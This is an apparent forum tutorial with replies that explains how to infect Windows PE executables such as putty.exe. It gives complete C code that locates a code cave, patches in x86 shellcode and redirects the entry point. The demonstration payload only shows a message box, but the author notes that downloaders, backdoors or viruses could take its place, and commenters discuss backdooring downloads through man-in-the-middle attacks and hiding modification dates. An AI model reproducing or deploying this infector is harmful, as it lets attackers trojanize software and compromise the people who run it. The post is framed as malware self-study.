PE File Infection

c++
c
winapi

#1

The following paper documents a possible PE file infection technique which covers a high level overview and the low level code of how both the infection and the resulting payload is executed. Please note that some of the following material may not be suited for beginners as it requires:

Proficiency in C/C++
Proficiency in Intel x86 assembly
Knowledge of the WinAPI and its documentation
Knowledge of the PE file structure
Knowledge of Dynamic Linked Libraries

Disclaimer: This paper is written within the scope of my own self research and study of malware and Windows internals and I apologize in advance for any incorrect information. If there is any feedback, please leave a reply or private message me.


Infection Technique

The method with which we will be covering consists of taking advantage of the implementation of the PE file structure. Code caves are essentially blocks of empty spaces (or null bytes) which are a result of file alignment of the corresponding section’s data. Because these holes exist, it is entirely possible to place our own data inside with little or nothing preventing us. Here is and example of a code cave in our target application (putty.exe).

For more information on code caves, please see CodeProject - The Beginner’s Guide to Codecaves.

For our approach, we will be targeting the last section of the executable, injecting our own code inside for execution before jumping back to the original code. Here is a visual representation:

                Target program's structure
                     after infection

                    +----------------+
                    |     Header     |
    Original -----> +----------------+ <---+  Return to 
    start           |     .text      |     |  original start
                    +----------------+     |  after shellcode
                    |     .rdata     |     |  finishes execution
                    +----------------+     |
                    |       ...      |     |
                    +----------------+     |
                    |      .tls      |     |
    New start ----> +-   -   -   -   + ----+
                    |    shellcode   |
                    +----------------+
                         ^   ^   ^
                Injected shellcode goes here
                  inside the .tls section

As a result of this infection method, the program will remain intact and since we will be injecting the shellcode inside an existing empty region of the file, the file size will not change and will hence reduce suspicion which is essential for malware survival.


Coding the Infector

The infector will be responsible for modifying a target application by injecting the shellcode into the last section. Here is the pseudocode:

Infector Pseudocode

1. Open file to read and write
2. Extract PE file information
3. Find a suitably-sized code cave
4. Tailor shellcode to the target application
5. Acquire any additional data for the shellcode to function
6. Inject the shellcode into the application
7. Modify the application's original entry point to the start of the shellcode

Let’s now see how we could implement this in code.

Note: For the sake of cleanliness and readability, I will not be including error checks.

int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <TARGET FILE>\n", argv[0]);
        return 1;
    }

    HANDLE hFile = CreateFile(argv[1], FILE_READ_ACCESS | FILE_WRITE_ACCESS, 
                        0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    DWORD dwFileSize = GetFileSize(hFile, NULL);

    HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL);

    LPBYTE lpFile = (LPBYTE)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, dwFileSize);

}

We’ll be designing our program to take in a target file from the command line.

First of all, we need to get a handle to a file using the CreateFile function with the read and write access permissions so that we are able to read data from and write data to the file. We’ll also need to get the size of the file for the following task.

The CreateFileMapping function creates a handle to the mapping. We specify a read and write permission (same as CreateFile) and also the maximum size we want the mapping to be, i.e. the size of the file.After obtaining the handle to the file mapping, we can create the mapping itself. The MapViewOfFile function maps the file into our memory space and returns a pointer to the start of the mapped file, i.e. the beginning of the file. Here we cast the return value as a pointer to an byte which is the same as an unsigned char value.

In this next section, we require that the target file be a legitimate PE file so we need to verify the MZ and the PE\0\0 signatures. I’ve done this with a separate function in a different file which I will show at the end of the article.

int main(int argc, char *argv[]) {
    ...

    // check if valid pe file
    if (VerifyDOS(GetDosHeader(lpFile)) == FALSE ||
        VerifyPE(GetPeHeader(lpFile)) == FALSE) {
        fprintf(stderr, "Not a valid PE file\n");
        return 1;
    }

    PIMAGE_NT_HEADERS pinh = GetPeHeader(lpFile);
    PIMAGE_SECTION_HEADER pish = GetLastSectionHeader(lpFile);

    // get original entry point
    DWORD dwOEP = pinh->OptionalHeader.AddressOfEntryPoint + 
                    pinh->OptionalHeader.ImageBase;

    DWORD dwShellcodeSize = (DWORD)ShellcodeEnd - (DWORD)ShellcodeStart;

}

Once we’ve verified and the target file is suitable for infection, we need to obtain the original entry point (OEP) so that we can jump back to it after our shellcode finished execution. Here, we also calculate the size of the shellcode by subtracting the end of the shellcode from the beginning. I will show what these functions look like later on and it will make much more sense.

Next, we’ll need to find an appropriate-sized code cave.

int main(int argc, char *argv[]) {
    ...

    // find code cave
    DWORD dwCount = 0;
    DWORD dwPosition = 0;

    for (dwPosition = pish->PointerToRawData; dwPosition < dwFileSize; dwPosition++) {
        if (*(lpFile + dwPosition) == 0x00) {
            if (dwCount++ == dwShellcodeSize) {
                // backtrack to the beginning of the code cave
                dwPosition -= dwShellcodeSize;
                break;
            }
        } else {
            // reset counter if failed to find large enough cave
            dwCount = 0;
        }
    }

    // if failed to find suitable code cave
    if (dwCount == 0 || dwPosition == 0) {
        return 1;
    }

}

We obtained pish from the previous code section which is a pointer to the last section’s header. Using the header information, we can calculate the starting position dwPosition which points to the beginning of the code in that section and we’ll read to the end of the file using the size of the file dwFileSize as a stopping condition.

What we do is we create a loop from the beginning of the section to the end of the section (end of the file) and every time we come across a null byte, we will increment the dwCount variable, otherwise, we’ll reset the value if there is a byte which is not a null byte. If the dwCount reaches the size of the shellcode, we will have found a code cave which can house it. We’ll then need to subtract the dwPosition with the size of the shellcode since we need the offset position of the beginning of the code cave so we know where to write to it later.If, for some reason, we are unable to find a code cave, the dwCount should be of size 0 and if the loop fails to start, dwPosition will also be 0. I’m not really sure if these conditions are necessary so but I have them there just in case.

In this example, the target application will spawn a message box before it runs itself normally.

int main(int argc, char *argv[]) {
    ...

    // dynamically obtain address of function
    HMODULE hModule = LoadLibrary("user32.dll");

    LPVOID lpAddress = GetProcAddress(hModule, "MessageBoxA");

    // create buffer for shellcode
    HANDLE hHeap = HeapCreate(0, 0, dwShellcodeSize);

    LPVOID lpHeap = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwShellcodeSize);

    // move shellcode to buffer to modify
    memcpy(lpHeap, ShellcodeStart, dwShellcodeSize);

}

Because of this, we will need the address of the function MessageBoxA which is found in the User32 DLL. First, we’ll need a handle to the User32 DLL which is done by using the LoadLibrary function. We’ll then use the handle with GetProcAddress to retrieve the address of the function. Once we have this, we can copy the address into the shellcode so it can call the MessageBoxA function.

Next, we’ll need to dynamically allocate a buffer to store the shellcode itself so that we can modify the placeholder values in the shellcode function with the correct ones, i.e. the OEP and the MessageBoxA address.

int main(int argc, char *argv[]) {
    ...

    // modify function address offset
    DWORD dwIncrementor = 0;
    for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) {
        if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) {
            // insert function's address
            *((LPDWORD)lpHeap + dwIncrementor) = (DWORD)lpAddress;
            FreeLibrary(hModule);
            break;
        }
    }

    // modify OEP address offset
    for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) {
        if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) {
            // insert OEP
            *((LPDWORD)lpHeap + dwIncrementor) = dwOEP;
            break;
        }
    }

}

In these two for loops, we attempt to locate the placeholders (0xAAAAAAAA) in the shellcode and replace them with the values we need. What they do is they’ll go through the shellcode buffer and if it finds a placeholder, it will overwrite it. These loops cannot be swapped and must maintain this order and we will see why when we have a look at the shellcode function later.

int main(int argc, char *argv[]) {
    ...

    // copy the shellcode into code cave
    memcpy((LPBYTE)(lpFile + dwPosition), lpHeap, dwShellcodeSize);
    HeapFree(hHeap, 0, lpHeap);
    HeapDestroy(hHeap);

    // update PE file information
    pish->Misc.VirtualSize += dwShellcodeSize;
    // make section executable
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    // set entry point
    // RVA = file offset + virtual offset - raw offset
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;

    return 0;
}

Now that the shellcode is complete, we can inject it into the mapped file using a memcpy. Remember that we saved the offset of the code cave with dwPosition; we use it here to calculate it from the beginning of the file which is where lpFile points to. We simply copy the shellcode buffer with the size of the shellcode.

We need to update some of the values inside the headers. The section header’s VirtualSize member needs to be changed to include the size of the shellcode. We also want the section to be executable so that the shellcode can do its thing. Finally, the AddressOfEntryPoint needs to be pointed to the start of the code cave where the shellcode is hiding.

Now, let’s take a look at the shellcode functions.

#define db(x) __asm _emit x

__declspec(naked) ShellcodeStart(VOID) {
    __asm {
            pushad
            call    routine

        routine:
            pop     ebp
            sub     ebp, offset routine
            push    0                                // MB_OK
            lea     eax, [ebp + szCaption]
            push    eax                              // lpCaption
            lea     eax, [ebp + szText]
            push    eax                              // lpText
            push    0                                // hWnd
            mov     eax, 0xAAAAAAAA
            call    eax                              // MessageBoxA

            popad
            push    0xAAAAAAAA                       // OEP
            ret

        szCaption:
            db('d') db('T') db('m') db(' ') db('W') db('u') db('Z') db(' ')
            db('h') db('3') db('r') db('e') db(0)
        szText :
            db('H') db('a') db('X') db('X') db('0') db('r') db('3') db('d')
            db(' ') db('b') db('y') db(' ') db('d') db('T') db('m') db(0)
    }
}

VOID ShellcodeEnd() {

}

There are two functions here: ShellcodeStart and ShellcodeEnd. From before, we calculated the size of the shellcode by subtracting the ShellcodeStart's function address from the ShellcodeEnd's function address. The ShellcodeEnd function’s only purpose is to signify the end of the shellcode.

The declaration of the ShellcodeStart function uses __declspec(naked) since we do not want any prologues or epilogues in our function. We want it as clean as possible.

The shellcode starts with a pushad which is an instruction to push all of the registers onto the stack and we need to do this to preserve the process’s context that’s set up for the program to run. Once that’s been handled, we can then execute our routine.

Since this shellcode will be in the memory of another program, we cannot control where the address of values will be and so we will need to use some tricks to dynamically calculate the addresses.
What we do here is use a technique called a delta offset. What happens is that when routine is called, it immediately pops the return address (which is the address of routine) into the base pointer register. We then subtract the base pointer register’s value with the address of routine and that ultimately results in 0. We can then calculate the address of the string variables szCaption and szText by simply adding their addresses onto the base pointer register and in this case, it’s simply their addresses. We then push the parameters of MessageBoxA onto the stack and then call the function.

After the routine has finished and done what we wanted, we then recover the register values with popad, push the address of OEP and return, effectively jumping back to the original entry point so the program can run normally.

This is what the resulting infected application should look like.


A Quick Demonstration

Here is what happens when the infected putty.exe is launched.

And then…


Conclusion

The message box dialog is only an example. The potential of the payload is far greater than what has been documented here ranging from downloaders to viruses to backdoors where the only limit (for this specific technique) is the number of available code caves. This example only utilizes one of the many existing ones where more complex implementations can weave and integrate entire applications throughout code caves throughout all sections.

This article has been made possible thanks to rohitab.com - Detailed Guide to Pe Infection with which I used to research and reference. It’s not entirely the same, I made some changes here and there depending on my needs.

Thanks for reading.

– dtm


Appendix

PIMAGE_DOS_HEADER GetDosHeader(LPBYTE file) {
    return (PIMAGE_DOS_HEADER)file;
}

/*
* returns the PE header
*/
PIMAGE_NT_HEADERS GetPeHeader(LPBYTE file) {
    PIMAGE_DOS_HEADER pidh = GetDosHeader(file);

    return (PIMAGE_NT_HEADERS)((DWORD)pidh + pidh->e_lfanew);
}

/*
* returns the file header
*/
PIMAGE_FILE_HEADER GetFileHeader(LPBYTE file) {
    PIMAGE_NT_HEADERS pinh = GetPeHeader(file);

    return (PIMAGE_FILE_HEADER)&pinh->FileHeader;
}

/*
* returns the optional header
*/
PIMAGE_OPTIONAL_HEADER GetOptionalHeader(LPBYTE file) {
    PIMAGE_NT_HEADERS pinh = GetPeHeader(file);

    return (PIMAGE_OPTIONAL_HEADER)&pinh->OptionalHeader;
}

/*
* returns the first section's header
* AKA .text or the code section
*/
PIMAGE_SECTION_HEADER GetFirstSectionHeader(LPBYTE file) {
    PIMAGE_NT_HEADERS pinh = GetPeHeader(file);

    return (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pinh);
}

PIMAGE_SECTION_HEADER GetLastSectionHeader(LPBYTE file) {
    return (PIMAGE_SECTION_HEADER)(GetFirstSectionHeader(file) + (GetPeHeader(file)->FileHeader.NumberOfSections - 1));
}

BOOL VerifyDOS(PIMAGE_DOS_HEADER pidh) {
    return pidh->e_magic == IMAGE_DOS_SIGNATURE ? TRUE : FALSE;
}

BOOL VerifyPE(PIMAGE_NT_HEADERS pinh) {
    return pinh->Signature == IMAGE_NT_SIGNATURE ? TRUE : FALSE;
}

ELFun File Injector
A Simple Demonstration on Malware Analysis
PE File Infection Part II
Post Coherency and Adherence to Good English
0x00sec Turns 0x01! One year!
0x00sec Turns 0x01! One year!
What are you working on?
(Command-Line Ninja) #2

Dayummmm @dtm! This article is really kicking it! This is so awesome. I really like that you uncover seriously ‘underground’ topics. Or at least something that is difficult to find.

This method would affect any checksums made for this application? Would antivirus pick this up also?


#3

I’m not sure what you mean by checksums. Perhaps you meant hash? If so, then of course, that’s the entire point of hashes. Same thing, I guess? Antivirus could pick this up though it really depends on a few factors. If, say, the infected application is a system file, svchost.exe, for example, it can be integrity checked to see if it’s original or not, same with pretty much any file however the file be known to have some sort of comparison. It’s also possible that the antivirus could detect malicious code within the file on disk or trigger heuristics on runtime.


(Command-Line Ninja) #4

By checksum, yes I meant hash.

Is this how on-the-fly application backdooring usually works? Or do they just append to the shellcode? I know MSFVenom backdoors, but it doesn’t use badass PE File injection? Right?


#5

On-the-fly application backdooring? Could you be more descriptive? I haven’t touched MSF in years.


(Command-Line Ninja) #6

If you were in a MITM attack, it could Intercept downloaded executables, backdoor them, and give the victim the backdoored version.


#7

Sorry, I don’t know the implementation of that. Perhaps if you could provide me the source or an infected file, I might be able to figure something out.


(Command-Line Ninja) #8

I’m sorry since my code literacy in C++ is pretty poor, but does this code automatically find code caves? Or do you have to manually find them.

Would this code be able to be executed just given an executable? Also, could this in theory run natively on a Linux system?


#9

The infector will point to the last section of the PE file and attempt to locate a code cave which is big enough to house the shellcode.

There is a limitation on potential targets which I did forget to mention. For this example, since the MessageBoxA function resides within user32.dll, it will only work if the target imports that DLL.

This code is Win32 only because it uses the WinAPI but conceptually it can theoretically be carried across over to Linux machines. IIRC, Both the PE and ELF binaries are derived from the COFF. I’m not 100% sure about this because I’m not familiar with the structure of the ELF so you’ll have to ask @0x00pf.


(pico) #10

I believe ELF is not derived from COFF, however, concepts as segments, libraries or relocation are required and, on one way or another, reflected in the format.

@pry0cc with some data definitions, it will be possible to compile it on Linux and run it to infect PE executables… but it will not work on ELF binaries if that is what you meant

FYI: I’m almost done with an ELF version of this great post.


(Command-Line Ninja) #11

Oh right. Okay. I was talking more about backdooring windows applications, using Linux.

However I am exited to see your tutorial!


(pico) #12

That is indeed possible, at the end you are just reading/writing and moving around bytes in a file. I went quickly through @dtm code and I haven’t see any specific Windows code, except the types definitions… But I may have olverlooked something.


(random-man) #13

Cool. Thanks DTM. I just learned how to inject code into a PE with Ollydbg, but I’ve been having trouble automating the process with WINAPI. This helps me understand a lot more.


(Mweya Ruider) #14

Epic tutorial!

This post got me thinking if one could do this in Python, so one thing led to another, I dropped the idea and found PEInjector that seems to do the same thing while performing an MITM attack, so you wouldn’t need to use Social Engineering to get the application on the target’s computer :smiley:


(Command-Line Ninja) #15

I am going to try this in wine with STELF… Wish me luck.


#16

If you’re going to do that, I’d suggest you add in something that stores the initial file’s dates before modifications and then reapplying it to the file after you infect it.


(Command-Line Ninja) #17

Oh sweet. Is that just simple metadata modification? Also, would that affect the signature? I would like to find a way to sign executables so as to remove the “this publisher isn’t trusted” message.


#18

Yeah, I guess. If you’re infecting an executable by adding extra data, of course the resulting binary’s signature will be compromised. If you want to sign an executable without the warning message, you’ll need to acquire a certificate from a trusted authority like Verisign, or perhaps you can check out Microsoft’s SignTool.


#19

Avoiding the untrusted publisher pop-up would be simple, we just need to steal Microsoft’s private keys which they use to sign programs.

As to changing file modification dates, it will be easy to do. You can do it with powershell or python.


(hash) #20

Shouldn’t you use OPEN_EXISTING instead of OPEN_ALWAYS when calling CreateFile?

If the file doesn’t exist, OPEN_EXISTING will return an error code. OPEN_ALWAYS will create a new file if it doesn’t already exist, you then call GetFileSize and retrieve the size of the empty file and attempt to map the empty file into memory.

MSDN (CreateFileMapping function’s fourth parameter):

The low-order DWORD of the maximum size of the file mapping object.

If this parameter and dwMaximumSizeHigh are 0 (zero), the maximum size of the file mapping object is equal to the current size of the file that hFile identifies.

An attempt to map a file with a length of 0 (zero) fails with an error code of ERROR_FILE_INVALID. Applications should test for files with a length of 0 (zero) and reject those files.

^ “Applications should test for files with a length of 0 (zero) and reject those files.”

CreateFileMapping & MapViewOfFile will both fail if CreateFile creates a new file. CreateFileMapping fails because the file size of the newly created file is zero and MapViewOfFile fails because CreateFileMapping returns NULL to its handle after failing. CreateFileMapping returns ERROR_FILE_INVALID(1006) and MapViewOfFile returns ERROR_INVALID_HANDLE(6). Change CreateFile’s dwCreationDisposition parameter to OPEN_EXISTING.